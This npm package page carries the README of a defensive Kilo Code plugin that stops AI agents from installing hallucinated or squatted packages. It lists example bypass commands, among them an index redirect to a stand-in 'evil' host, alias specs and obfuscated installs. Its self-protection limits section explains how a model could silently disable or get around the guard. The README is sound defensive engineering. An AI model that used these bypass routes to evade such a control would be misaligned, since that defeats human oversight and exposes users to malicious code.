npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

kilo-plugin-slopscope-guard

v0.1.2

Published

Deterministic slopsquatting gate for Kilo Code: blocks package installs before the package manager runs.

Readme

SlopScope Guard

Deterministic slopsquatting gate for Kilo Code. It stops the install of hallucinated and squatted packages before pip, npm or any other package manager downloads anything. It is a plugin for stock Kilo Code and does not fork it. The decision is made by code from registry data; no language model takes part in it.

kilo plugin kilo-plugin-slopscope-guard --global

What it stops

Six forms this takes:

| Form | Example | What the guard does | Reason code | |---|---|---|---| | Name that does not exist | pip install fastapi-turbo-auth | The registry has no such name. Denied. If a build-time table knows a similar real name, the message names it. | NOT_FOUND | | Fresh squat | pip install fastapi-turbo | The name exists because the attacker registered it first. Its first release is younger than the distrust window, so it is denied. The window is set in the config. | TOO_NEW | | Import name instead of package name | pip install yaml, pip install sklearn | The model installs what it imports. Such names are free or taken by stubs. The message carries the right name: pyyaml, scikit-learn. | IMPORT_NAME | | Two-step attack | echo fastapi-turbo >> requirements.txt, then pip install -r requirements.txt | The name lands in a manifest or a script first, the install comes later. The guard reads the file from disk when the command runs and checks every name. Writing the name into the manifest is checked as well. | NOT_FOUND, TOO_NEW | | Run without install | npx fastapi-turbo-cli init, uvx, pipx run, bunx, pnpm dlx | Foreign code runs without being written into the project. Treated as an install. | same as an install | | Bypass after a denial | pip install X --index-url https://evil/simple, npm i lodash@npm:evil-pkg, pip install git+https://... | Another index, a flag that disables checks, a git link the project never had, or a command that cannot be parsed. Denied before the registry is asked. The denial text tells the model to stop retrying with other sources and flags. | SOURCE_REDIRECT, ESCAPE_FLAG, NON_BARE_AGENT_INTRODUCED, UNPARSEABLE |


Where the gate stands

Kilo calls the plugin before every tool call: bash, file writes, background processes. The plugin reads the call arguments and either lets the call through or returns an error. An error means the tool never ran. The model sees the reason and continues.

The gate sits between the model and the tool. On allow the tool runs; on deny the model gets a tool error with the reason. An MCP advisor sits off the path and may never be called.

The gate is on the path of every call. An advisor on the side is off the path: something has to call it, and an injection can talk the model out of doing that.

| | MCP advisor | SlopScope Guard | |---|---|---| | Who decides that a check is needed | The model. It has to call the check tool itself. | Kilo. The hook fires on every tool call; the model does not need to know about it. | | What a prompt injection can do | Convince the model to skip the check or to distrust its answer. | Only change the text of the command. The decision is made by code from registry data. | | How a check ends | With text in the model's context. Advice. | With a tool error. The install does not start. | | When it runs | When the model calls it. Often after the install. | Always before pip or npm start. The package's code runs at install time, so a later check comes too late. |

Installs into stock Kilo Code with one command. No fork is needed.


One gate, three layers

One mechanism: a function that takes an install command and answers allow or deny. Its only network traffic goes to package registries. To make sure no command slips past that function, the gate is called in three places. The three layers do not disagree with each other: it is one function over the same facts, the same cache and the same session state. Only the place where the command is intercepted changes.

The command passes three interception points on its way to the registry: the Kilo hook, the PATH wrapper and the loopback index. All three ask one verdict function.

Layer 1: the Kilo hook

tool.execute.before. It sees the command before the tool runs and catches everything the model writes into bash, background_process, write, edit, patch, multiedit and a notebook cell. For a write or edit on a manifest it compares the new text with the file on disk and checks only the added names. A notebook cell is read from disk, positive-only. MCP tools that take a shell command as a string argument can be added through the shell_tools config key. Almost everything stops at this layer.

Layer 2: wrappers in PATH

Layer 1 reads commands as text. When the package name exists only at run time, there is nothing to read:

# setup.sh
PKG=$(cat pkg.txt)
pip install "$PKG"

bash setup.sh passes layer 1: a file the command runs is checked for literal names only, and a variable is not one. Layer 2 catches the install when the process starts, and by then the name is known.

  1. The plugin puts its own directory first in PATH. It holds 22 short POSIX sh scripts named pip, pip3, pipx, uv, uvx, poetry, pipenv, pdm, rye, npm, npx, pnpm, yarn, bunx, cargo, go, gem, bundle, composer, conda, mamba and micromamba. When a shell looks up pip, it finds our script before the real binary.
  2. The script looks at the subcommand. npm run test or pip --version is not an install: the script execs the real binary at once, without an HTTP request.
  3. For an install it sends argv to the guard's server on 127.0.0.1 and waits for the verdict. The address and the token come from environment variables. The server is the plugin itself, inside the Kilo process, and it runs the same function as layer 1 with the same registry cache and the same session state.
  4. Allow: the real binary runs with the same arguments. Deny: the script prints the same denial text the hook would print and exits with code 1. The real installer never starts, and the calling script fails on that line.
  5. The denial text ends up in the tool output, so the model reads it like any other command error. A second hook, tool.execute.after, finds it there and moves the denial counters, exactly as if layer 1 had denied.

If the server cannot be reached, the script denies (GUARD_UNREACHABLE). It needs only sh, awk and one of curl or python3, so it works where Node and Bun are absent.

Typical cases: an install from a script or a Makefile, a subprocess spawned from Python or Node code, the skill and /command shells that the hook never sees.

bun and python are not wrapped on purpose: bun is Kilo's own runtime and python is a general interpreter. bun add and python -m pip install written by the model are caught by layer 1; python -m pip inside a script is caught by layer 3.

PATH reaches child processes through three channels, because no single one covers everything:

| Channel | Reaches | Does not reach | |---|---|---| | shell.env hook | bash, pty, interactive terminal | background_process | | export ...; prefix on the command | background_process | tools without a string command | | process.env of the Kilo process | skill shells, /command shells, MCP servers started after the plugin | MCP servers started before it |

Layer 3: the loopback index

The same local server answers as a PyPI simple index and as an npm registry. PIP_INDEX_URL, UV_INDEX_URL, UV_DEFAULT_INDEX and npm_config_registry point at it. For every requested name it asks the verdict function: a denied name gets 404, an allowed name is proxied to the real registry or to the corporate mirror from the config. Response bodies are not read and not logged. The server listens on 127.0.0.1 on a random port with a per-process token.

This layer catches a binary called by absolute path around PATH, python -m pip and bun add from inside scripts, and installers started by processes that are not shells at all. It covers PyPI and npm only, and it gates names; it does not inspect bytes.


Checks, in order

The verdict function runs the checks below. The first denial wins. The registry is asked only in the last two steps; everything before them is decided locally.

Nine checks in order, from installer detection to the age of the first release. Each check either continues or exits with a denial and a reason code; the last step is allow.

  1. Is there an installer in the command? No installer, no check: the call passes in about a millisecond. git commit -m "npm install" and pre-commit install pass. Curated system managers (apt, brew, nix, dnf, pacman and others) pass with a log line: names there are curated by maintainers, so squatting does not apply.
  2. Was the command parsed in full? sh -c "$CMD", base64, a package name in a variable: denied as UNPARSEABLE, and the model is asked to reissue the command explicitly. An installer that is visible but unreadable is a denial, never a pass.
  3. Is there a foreign index or a flag that disables checks? --index-url, --extra-index-url, --registry, PIP_INDEX_URL=, registry= in a repository .npmrc: SOURCE_REDIRECT. --isolated, --trusted-host, --ignore-scripts=false: ESCAPE_FLAG.
  4. Is it a bare package name? git, tarball, alias and URL specs are allowed when the project manifests already had them or the user named them in the root session. Introduced by the agent, they are denied as NON_BARE_AGENT_INTRODUCED. A local path inside the project is allowed; outside it, PATH_OUTSIDE_WORKTREE.
  5. Does the registry provide release dates? conda, mamba and micromamba are recognized and denied as UNSUPPORTED_ECOSYSTEM: anaconda.org has no dates. Configurable.
  6. Is it an import name? yaml for pyyaml, sklearn for scikit-learn, cv2 for opencv-python: denied as IMPORT_NAME with the right name in the message. The table is compiled in and never fetched.
  7. Is the name on the blocklist? Old known squats: DENYLISTED. Works offline.
  8. Does the name exist in the registry? No: NOT_FOUND. No answer within the deadline: ORACLE_UNAVAILABLE, which is also a denial. A retry of the same command converges, because the lookup keeps running past the deadline and lands in the cache.
  9. Is the first release older than the distrust window? No: TOO_NEW. fastapi-turbo, the usual example of a "nonexistent" package, is registered; its first and only release is dated 2026-07-28. Age catches it, existence does not. The window is min_release_age_days in the config.

Otherwise: allow, and the tool runs.

Installs from a manifest (pip install -r requirements.txt, npm ci, uv sync, npm install with no names) go through checks 1 to 5 as a command; then every name read from the file goes through checks 6 to 9. Files the command runs (bash setup.sh, python x.py, npm run build, make setup, docker build) are loaded from disk and their lines parsed one level deep, positive-only.


Beyond pip and npm

Installers: 24 grammars in seven ecosystems

| Ecosystem | Installers | Support | |---|---|---| | Python (PyPI) | pip, pip3, python -m pip, uv, uvx, pipx, poetry, pipenv, pdm, rye, hatch | full grammar, existence and age | | JavaScript (npm) | npm, npx, pnpm, yarn, bun, bunx, deno | full grammar, existence and age | | Rust | cargo add, cargo install | existence and age | | Go | go get, go install, go run pkg@version | existence and age | | Ruby | gem, bundle | existence; age when the gem is small enough to answer in time | | PHP | composer | existence and age | | conda | conda, mamba, micromamba | recognized and denied by default: no release dates | | System | apt, brew, nix, dnf, pacman and others | passed with a log line |

Verbs: install, run_without_install (npx, uvx, pipx run, bunx, pnpm dlx, yarn dlx, npm init <x>, uv run --with, go run pkg@v), sync_from_manifest, download_or_build.

Where else names come from

  • Manifests, read from disk when the command runs: requirements*.txt, pyproject.toml, Pipfile, package.json, Cargo.toml, go.mod, Gemfile, composer.json, environment.yml.
  • Files the command runs: setup.sh, Makefile, Dockerfile, scripts in package.json, Python and JS scripts.
  • Kilo tools: bash, background_process, write, edit, patch, multiedit, notebook_execute.
  • Command forms: environment assignments before the command, && and | chains, sh -c with a literal string (three levels deep), python -m pip.

External services

| Service | What is read | Ecosystems | If it does not answer in time | |---|---|---|---| | api.deps.dev | Existence and the publication date of every version. Primary source. | PyPI, npm, cargo, Go | Deny. For PyPI and npm a fallback existence check follows. | | pypi.org/simple, registry.npmjs.org | Fallback existence check when deps.dev is down. Upstream of the loopback index. | PyPI, npm | Deny. | | rubygems.org | Existence is cheap; version dates come from a second, larger request. | Ruby | Deny. A large gem may not answer in time on the first call; the retry does. | | repo.packagist.org | Existence and publication date. | PHP | Deny. | | api.anaconda.org | Existence only, no dates. | conda, only when allowed in the config | Deny. |

Common to all of them: the guard keeps its own deadline on every decision, 2.5 seconds by default, and a silent registry means deny, never allow. A lookup that hangs for a second gets a second request on a fresh connection. Answers are cached in process memory only. From a registry response the guard reads status and dates; package descriptions, READMEs, author fields and URLs are never read.


What a denial looks like

SlopScope Guard blocked install: "yaml" is an import name, not a distribution. Use "pyyaml" instead.
Do not retry with another source, installer or flag. If the dependency is required, ask the user.
[blocked: 1/3 consecutive, 1/20 total]

The text is templated: the normalized name, the ecosystem, a reason code from a fixed enum, a hint from a build-time table, and the counters. Nothing from the registry response and nothing from a language model goes into it. A verbatim verdict with details would be a bypass manual handed to a process whose context may contain the attacker's instructions.

The denial arrives as a tool error; the session goes on. Retries are not free: three denials in a row or twenty per session end the session through session.abort, and a local mark rejects every further tool call. An allow or a new message from the user resets the consecutive counter. Infrastructure denials (ORACLE_UNAVAILABLE, MANIFEST_UNVERIFIED, GUARD_UNREACHABLE, PROJECT_PLUGIN_PRESENT) do not move the counters: they are not attack attempts, and their text asks to retry the same command once.

When the name came from a manifest, the denial also asks the model to remove it from the file. A blocked install does not undo a poisoned requirements.txt: the next install from it may run without Kilo.

Configuration

File: ~/.config/kilo/slopscope-guard.json (or $XDG_CONFIG_HOME/kilo/...). Read once at startup.

Nothing is read from the working directory. AGENTS.md, CLAUDE.md, .cursor/rules, .npmrc, pip.conf and environment variables set by repository scripts are all ignored. Those are the channels through which Socket Firewall was broken.

| Key | Default | What it does | |---|---|---| | min_release_age_days | 90 | distrust window for the first release; the primary signal | | version_age_days | 0 (off) | the same window for the latest version; closes stealth releases at the price of false denials | | timeout_ms | 2500 | budget for one decision's registry lookups; when it expires, the answer is deny | | non_bare.path_in_worktree | allow | local paths and pip install -e .; not a slopsquatting vector | | non_bare.agent_introduced | deny | git, tarball and alias specs that were neither in the project nor in the user's message | | non_bare.preexisting | allow | the same specs when the project manifests already had them | | non_bare.user_requested | allow | the same specs when the user named them in the root session | | unknown_installers | log | unknown binary with an install subcommand: pass with a log line, or deny | | conda | deny | conda has no release dates, so it is recognized and denied | | hardening | off | sets npm_config_ignore_scripts, PIP_ONLY_BINARY=:all: and UV_NO_BUILD for child processes | | index_redirect | on | layer 3 | | path_wrappers | on | layer 2 | | hard_stop | 3 consecutive, 20 total, all_tools | retries are not free | | upstream | public PyPI and npm | a corporate mirror goes here | | registry_hosts_allowlist | empty | hosts allowed to serve packages when a repository config names an index | | private_prefixes | empty | names and scopes that never go to the public registry; allowed without a lookup | | shell_tools | empty | MCP tools whose string argument is a shell command; parsed like bash | | project_plugins | warn | reaction to a project-scoped plugin loaded next to the guard: warn, or deny all installs |

Plugin options from the Kilo config are merged monotonically: they can only make things stricter, and they are accepted only when the guard's own entry in plugin_origins has scope: "global". deny is stricter than allow, on than off, deny than log and warn, all_tools than installs; windows take the maximum, hard-stop thresholds the minimum. timeout_ms is taken from the file only: a shorter timeout does not make the guard safer, it buys false denials instead of protection.

Corporate mirror

{
  "upstream": { "pypi": "https://nexus.corp/repository/pypi/simple/", "npm": "https://nexus.corp/repository/npm/" },
  "registry_hosts_allowlist": ["nexus.corp"],
  "private_prefixes": { "pypi": ["alfa-"], "npm": ["@alfa/"] }
}

Private prefixes never go to the public registry and are allowed without a lookup. The loopback index does not forward the authorization header, so a private registry that needs credentials works either with index_redirect: off or with the mirror set as upstream.


Edge cases

Handled

  • Two-step attack. The name is written into a manifest or a script, the install comes later. The file is read from disk when the command runs.
  • Install around the hook. Skill shells, /command, a subprocess from a script. Caught by the wrappers and the loopback index.
  • Obfuscation. base64, eval, a name in a variable. A command that cannot be read is denied.
  • Retry after a denial with another index, another flag or a git link.
  • Silent registry. Deny after the deadline. A retry of the same command usually passes: the answer is in the cache by then.
  • Legitimate commands. git commit -m "npm install", pre-commit install, pip install -e ., local paths: pass or allow. npm install --no-audit --no-fund and other common flag forms are in the flag tables.
  • Config from the repository. Settings come only from ~/.config at startup. A repository .npmrc or pip.conf can only add a denial: an index host there that is not on the allowlist is SOURCE_REDIRECT.
  • Foreign registry. An index in the command or in the repository config is denied. A corporate mirror goes into upstream and registry_hosts_allowlist.

Not handled, and named here first

Paths Kilo does not route through the plugin:

  • skill and /command with an embedded shell command: the hook does not see them. Layers 2 and 3 reach them through process.env, layer 1 does not.
  • notebook_execute: the cell source is not in the hook arguments. The cell is read from disk, positive-only; an unsaved buffer is invisible. The adapter works in VS Code only.
  • MCP servers started before the plugin loaded, and MCP tools with structured arguments and no shell.

Structural limits of the approach:

  • A renamed or copied binary; a local shim inside the repository (node_modules/.bin/npm); PATH reset inside the command (source .venv/bin/activate, PATH=/usr/bin pip ...). These bypass layer 2; layer 3 still answers for PyPI and npm unless the command also overrides the index.
  • --isolated or --index-url inside a generated script with non-literal contents: pip ignores the environment, and layer 1 never saw the flag.
  • Execution targets are not recursive: bash a.sh calling bash b.sh with the install in b.sh passes layer 1.
  • Extra and scoped indexes from repository config are closed by reading those files and SOURCE_REDIRECT, not by the index itself.
  • A stack of bypasses at once (non-literal, around PATH, --isolated) is a recipe from an injection; a hallucination does not write like that. Named here and left open.
  • docker build inside a container; curl ... | sh, where there is no name to look up; repository squatting through git clone <invented URL>; transitive dependencies, which is a different threat.

Limits of the detector:

  • A groomed squat with real history, metadata and an age beyond the window passes. About half of real hallucinated names already return HTTP 200; existence alone catches invented and fresh names, nothing more.
  • A stealth package (harmless v1 and v2, malicious v3): the release-age gate turns it from a zero-day into an N-day. version_age_days closes it at the price of false denials.
  • A wrong name that is a live old package (sklearn, a deprecated stub since 2015) is caught by the import table where the table knows it, and passes otherwise.
  • RubyGems age is unavailable for large gems within the deadline; conda has existence only.

Outside the threat model:

  • A compromised machine, a poisoned ~/.config, foreign code in .kilo/plugin/.
  • Account takeover of a real popular package.
  • The attacker's own git link inside the project's own manifests: the project is the baseline for non-bare specs, so a compromised repository allows its own links.
  • Other vectors (prompt injection at large, exfiltration, downgrade attacks). The scope is slopsquatting.

Rejected on purpose: a Kilo sandbox with the network closed. That is a global policy that breaks ordinary work and contradicts selective denial. What remains is closed by a corporate mirror as the upstream of the loopback index, and for a single developer it is named here as a limit.


Self-protection limits

The guard is not overwritten by repository contents and is not disabled by project configuration. It is not protected from a model with arbitrary write access to the home directory and the cache; that is a separate class, closed by a change in Kilo (~/.cache/kilo/packages/** in denyWrite) rather than by a plugin.

The claim "the model cannot remove the control" is false for any plugin deployment in current Kilo, and this README does not make it. What follows in practice:

  • Protection turns off silently. KILO_PURE=1 drops all external plugins without a warning or an event; an exception inside server() is swallowed by Kilo. Plugin initialization therefore never throws, all work lives inside the hooks, and the self-check above exists.
  • Config edits and plugin removal take effect at the next Kilo start. A model under --auto can poison only the next session; the current one keeps its settings.
  • Plugin order. Hooks run in sequence and the last source wins: a plugin loaded after this one can rewrite output.args after the verdict. The guard sees this through plugin_origins and reacts according to project_plugins, but does not close it.
  • The wrapper directory is writable by a model without a sandbox. Every file's sha256 is kept in process memory and the directory is regenerated at the next environment handout; the gap between a substitution and the next shell.env remains. The server token is visible in ps; the /verdict route can only answer with a verdict and cannot allow anything.

License

MIT.